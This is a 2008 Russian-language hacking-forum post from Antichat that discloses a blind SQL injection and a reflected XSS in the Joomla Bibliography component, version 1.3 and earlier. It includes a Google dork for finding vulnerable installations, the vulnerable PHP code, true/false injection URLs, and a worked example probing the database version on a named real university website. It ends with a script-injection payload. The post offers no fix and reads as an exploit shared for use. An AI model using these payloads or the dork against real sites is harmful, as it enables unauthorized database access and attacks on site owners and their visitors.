
13.12.2008, 19:50
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме: 14324684
Репутация:
3908
|
|
Уязвимости модулей и компоненотов Jooml'ы
Joomla Component Bibliography Blind-SQL/pXSS
Уязвимый продукт: Joomla Component Bibliography
Версия: <= 1.3
Дорк: "inurl:com_bibliography"
1. Blind-SQL
Уязвимость в файле bibliography.php.
Уязвимый кусок кода:
PHP код:
$count_query = "SELECT id FROM ".$mosConfig_dbprefix."bibliography WHERE published = 1 AND catid=$catid";
$count_result = $database->setquery($count_query);
$count_result = $database->query();
$count = mysql_num_rows($count_result);
$gesamtseiten = floor($count / $gl_perpage);
Из кода видно, что параметр $catid не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
Так же из кода видно, что полученное значение делится на число (количество страниц), а затем уже только выводится - это и есть причина слепоты в данной инъекции.
Exploit:
Код:
true: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=1/*
false: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=2/*
Example:
Код:
true: http://www.irtg.uni-kl.de/index.php?option=com_bibliography&func=display&letter=B&Itemid=53&catid=67+and+substring(version(),1,1)=4/*&page=1
false: http://www.irtg.uni-kl.de/index.php?option=com_bibliography&func=display&letter=B&Itemid=53&catid=67+and+substring(version(),1,1)=5/*&page=1
2. Пассивная XSS
Уязвимость в файле bibliography.php.
Уязвимый кусок кода:
PHP код:
else{
if ($letter=='All') echo "<font size='4'><strong>"._BIBLIOGRAPHY_ALL."</strong></font>";
elseif ($letter=='Other') echo "<font size='4'><strong>"._BIBLIOGRAPHY_OTHER."</strong></font>";
elseif ($letter=='[nothing]') echo "";
else echo "<font size='4'><strong>".$letter."</strong></font>";
Из кода видно, что параметр $letter не фильтруется.
Получаем пассивную XSS:
Код:
index.php?option=com_bibliography&func=display&Itemid=43&catid=25&letter=<script>alert(/grey/);</script>
P.S. здесь был Грей)))
__________________
Feci, quod potui. Faciant meliora potentes.
Последний раз редактировалось Grey; 14.12.2008 в 15:35..
|
|
|